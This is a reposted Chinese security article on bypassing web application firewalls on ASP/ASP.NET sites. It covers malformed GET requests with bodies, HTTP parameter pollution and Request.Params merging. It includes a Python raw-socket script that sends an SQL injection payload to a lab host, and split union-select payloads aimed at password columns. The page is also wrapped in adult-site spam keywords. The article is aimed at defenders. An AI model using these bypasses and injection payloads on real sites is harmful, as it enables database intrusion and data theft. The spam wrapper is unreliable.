成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

淺談繞過WAF的數種方法

安全
08年初誕生了一種SQL群注攻擊,黑客在全球范圍內對asp,asp.net加MSSQL架構的網站進行了瘋狂掃蕩。由于MSSQL支持多語句注入,黑客通過一條結合游標的SQL語句就能將整個數據庫的字段內容自動進行篡改,可以在網站上無差別的進行網頁木馬攻擊。

0×00 前言

08年初誕生了一種SQL群注攻擊,黑客在全球范圍內對asp,asp.net加MSSQL架構的網站進行了瘋狂掃蕩。由于MSSQL支持多語句注入,黑客通過一條結合游標的SQL語句就能將整個數據庫的字段內容自動進行篡改,可以在網站上無差別的進行網頁木馬攻擊。

互聯網是快速更新迭代的,但是很多沒有開發能力的單位都是通過外包建立網站,網站的程序一上線就再也無人維護,很多程序存在各種漏洞無法修補,于是WAF便有了市場,現今門檻低且最能解決問題的是針對IIS/apache的軟件WAF,通常一個模塊一個擴展就能搞定,當然也有耗資百萬千萬的硬件WAF,然而如果WAF攔截規則出現漏洞,這百萬千萬的硬件也就是一堆廢鐵。那么WAF是否真的可以解決所有的WEB安全問題呢?所以本文主要解析一些可以繞過WAF的罕見漏洞,供安全人員參考。

0×01 Request對象的包解析漏洞.

asp和asp.net的Request對象存在一個包解析漏洞,Request對象對于GET和POST包的解析過于寬松,用一句話表達就是Request對象它GET和POST傻傻分不清楚,稍有點web開發經驗的同學應該知道Request接收GET,POST,COOKIE也就是GPC傳過來的數據,但是asp和.net庫內置的Request對象完全不按RFC標準來,下面我們可以做個測試:

分別將下面兩段代碼保存為1.asp和1.aspx

使用asp的Request對象接收t參數傳值

———————————————–

 

  1. <%  
  2.  
  3. Response.Write “Request:” & Request(“t”)  
  4.  
  5. %>  
  6.  

 

———————————————–

使用asp.net的Request對象接收t參數傳值

———————————————–

 

  1. <%@ Page Language=”C#” %>  
  2.  
  3. <%  
  4.  
  5. string test = Request["t"];  
  6.  
  7. Response.Write(“Request:”+test);  
  8.  
  9. %>  
  10.  

 

———————————————–

使用下面的python腳本調用socket發送原始的HTTP包

———————————————–

 

  1. #!/usr/bin/env python  
  2.  
  3. import socket  
  4.  
  5. host = ’192.168.239.129′  
  6.  
  7. path = ‘/1.asp’  
  8.  
  9. port = 80 
  10.  
  11. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
  12.  
  13. s.connect((host, port))  
  14.  
  15. s.settimeout(8)  
  16.  
  17. exploit_packet=”t=’/**/or/**/11=1–”  
  18.  
  19. exploit_packet+=”\r\n” * 8  
  20.  
  21. packet_length = len(exploit_packet)  
  22.  
  23. packet=’GET ‘ + path + ‘ HTTP/1.1\r\n’  
  24.  
  25. packet+=’Host: ‘ + host + ‘\r\n’  
  26.  
  27. packet+=’Content-Length: %s\r\n’ % packet_length  
  28.  
  29. packet+=’Content-Type: application/x-www-form-urlencoded\r\n’  
  30.  
  31. packet+=’\r\n’  
  32.  
  33. packetpacket = packet + exploit_packet  
  34.  
  35. print packet  
  36.  
  37. s.send(packet)  
  38.  
  39. buf = s.recv(1000)  
  40.  
  41. if buf: print buf[buf.rfind("\r\n"):]  
  42.  
  43. s.close()  
  44.  

 

———————————————–

我們發送的原始包是:

GET /1.asp HTTP/1.1

Host: 192.168.239.129

Content-Length: 34

Content-Type: application/x-www-form-urlencoded

t=’/**/or/**/1=1– 

結果返回如下:

Request:’/**/or/**/1=1–

將python測試腳本的path改為/1.aspx測試頁返回同樣結果。

我們可以看到這是一個畸形的HTTP GET請求包,這個包的奧秘在于t=’/**/or/**/1=1–參數后的8個回車換行和Content-Length頭,包的結構類似于一個POST包,而請求的方法是GET,最后asp和asp.net的Request對象成功的解析了這個畸形包取出了數據。

所以如果WAF沒有處理好HTTP包的內容,沿用常規思路處理GET和POST的邏輯的話,那么這個畸形包將會毀掉WAF的基礎防御。

0×02 被遺忘的復參攻擊.

大家應該還記得09年的HTTP Parameter Pollution攻擊,查看[3]文檔,可以發現ASP/IIS和ASP.NET/IIS的場景下存在一個復參特性,本文將利用這種的特性的攻擊簡稱為復參攻擊,用0X01里的例子簡單的測試一下:

用GET請求傳入兩個t參數

GET http://192.168.239.129/1.asp?t=1&t=2

將返回

Request:1, 2

asp和asp.net的Request對象接收了兩個參數,并且以逗號分隔,所以便衍生出了[3]文檔中的復參SQL注入方法:

 

  1. Vulnerable code:  
  2.  
  3. SQL=”select key from table where id=”+Request.QueryString(“id”)  
  4.  
  5. This request is successfully performed using the HPP technique:  
  6.  
  7. /?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users  
  8.  
  9. The SQL request becomes:  
  10.  
  11. select key from table where id=1/**/union/*,*/select/*,*/pwd/*,*/from/*,*/usersLavakumarKuppan,  
  12.  

 

我們可以看到通過巧妙的運用注釋符結合復參特性可以分割GET參數中的SQL注入語句,如果WAF對GET參數的處理過于簡單是不是會匹配不到攔截規則呢?

0×03 高級復參攻擊.

ASP.NET的Request對象有一個Params屬性,ASP.NET程序員在一些程序中會使用Request.Params["xxx"]傳入數據,參考[4]微軟MSDN文檔我們可以知道Params屬性的特性,該屬性接收GET,POST和Cookie的傳值集合,這里我們可以修改0×01里的例子測試一下:

使用asp.net的Request.Params方法接收t參數傳值

———————————————–

 

  1. <%@ Page Language=”C#” %>  
  2.  
  3. <%  
  4.  
  5. string test = Request.Params["t"];  
  6.  
  7. Response.Write(“Request:”+test);  
  8.  
  9. %>  
  10.  

 

———————————————–

發送一個POST包,GET,POST,COOKIE三個方法中都帶有不同的t參數內容

———————————————–

POST http://192.168.239.129/1.aspx?t=1 HTTP/1.1

Host: 192.168.239.129

Cookie: t=2

t=3

———————————————–

結果返回

Request:1,3,2

最后得出結論,Request.Params方法接收的數據是按照GPC順序整合,看到這里的同學再聯想到0×02的復參攻擊應該如醍醐灌頂了,我們可以將SQL攻擊語句拆分到GET,POST,COOKIE三個變量里進行組合攻擊。想一想WAF針對這種高級復參攻擊是否防御好了?

0×04 后話

WAF是不可能解決所有安全問題的,本文的思路歸其本源實際上是描敘了WAF處理HTTP包與服務端處理HTTP包數種差異。互聯網是不斷更新迭代的,差異存在,類似的漏洞也會存在。

本文提到了三種繞過WAF的思路,第一種是我的原創屬于0DAY狀態,第二種是參考已有的復參攻擊,其中第三種高級復參攻擊是由Safe3同學提出的,本文也是與Safe3同學討論他開發的WAF的BUG而來,所以感謝Safe3同學。

另外請大家不要將本文的內容用于非法途徑,僅供安全人員參考,謝謝。

EMail: rayh4c#80sec.com

Site: http://www.80sec.com

Date: 2011-09-06

From: http://www.80sec.com/?p=244

 【編輯推薦】

  1. 如何選擇合適的Web應用防火墻(WAF)?
  2. Web應用程序防火墻(WAF)將無處不在
  3. Web Application Firewall(WAF)入門

 

責任編輯:于爽 來源: 80sec.com
相關推薦

2012-12-24 13:50:54

2019-02-19 08:45:41

2013-05-13 11:25:02

WAFWeb應用防火墻WAF繞過

2013-06-03 10:02:53

WAF繞過

2013-01-11 16:23:29

2015-06-16 13:37:03

2020-08-26 14:44:05

CDNIP子域名

2020-07-31 11:02:09

網絡攻擊WAF黑客

2009-07-28 16:07:40

.NET圖片快速處理

2013-12-18 09:39:37

XSSWAF繞過

2017-03-03 09:10:09

2022-08-03 12:28:58

云WAF網絡攻擊Web應用防火墻

2016-12-27 19:19:51

2019-05-07 08:15:21

2009-04-20 14:29:41

Oracle連接創建連接

2013-04-19 13:20:14

2017-09-01 21:00:05

MySQLSQL優化查詢方法

2022-08-24 08:07:11

MyBatisSQLMySQL

2023-10-09 08:32:57

GaussDBDRS數據庫

2017-12-14 21:45:39

點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板: 日韩欧美手机在线 | 精品视频999 | 草草草网站 | 精品一区二区免费视频 | 91精品国产色综合久久 | 欧美一区二区三区视频 | 综合精品久久久 | 日韩欧美国产精品一区二区 | 亚洲国产一区二区视频 | 狠狠干综合视频 | 韩日在线 | 免费看国产精品视频 | 视频一区在线 | 成人1区 | 亚洲综合大片69999 | 亚洲精品一区在线 | 91视频中文 | 久草综合在线视频 | 亚洲 欧美 日韩 在线 | 欧美xxxx色视频在线观看免费 | 91精品国产综合久久香蕉922 | 97人人超碰| 午夜久久久 | 日批日韩在线观看 | 国产精品一区二区av | 在线观看成人小视频 | 成年人在线视频 | 欧美日韩一区二区在线播放 | 欧美精品久久久久 | 国产精品国产自产拍高清 | 91久久伊人 | 国产视频一视频二 | 中文字幕一区二区三区精彩视频 | 亚洲欧洲成人在线 | 成年人黄色一级片 | 日韩欧美综合在线视频 | 国产成人综合亚洲欧美94在线 | 久草在线 | 亚洲午夜精品在线观看 | 在线不卡 | 精品久久久久久久久久 |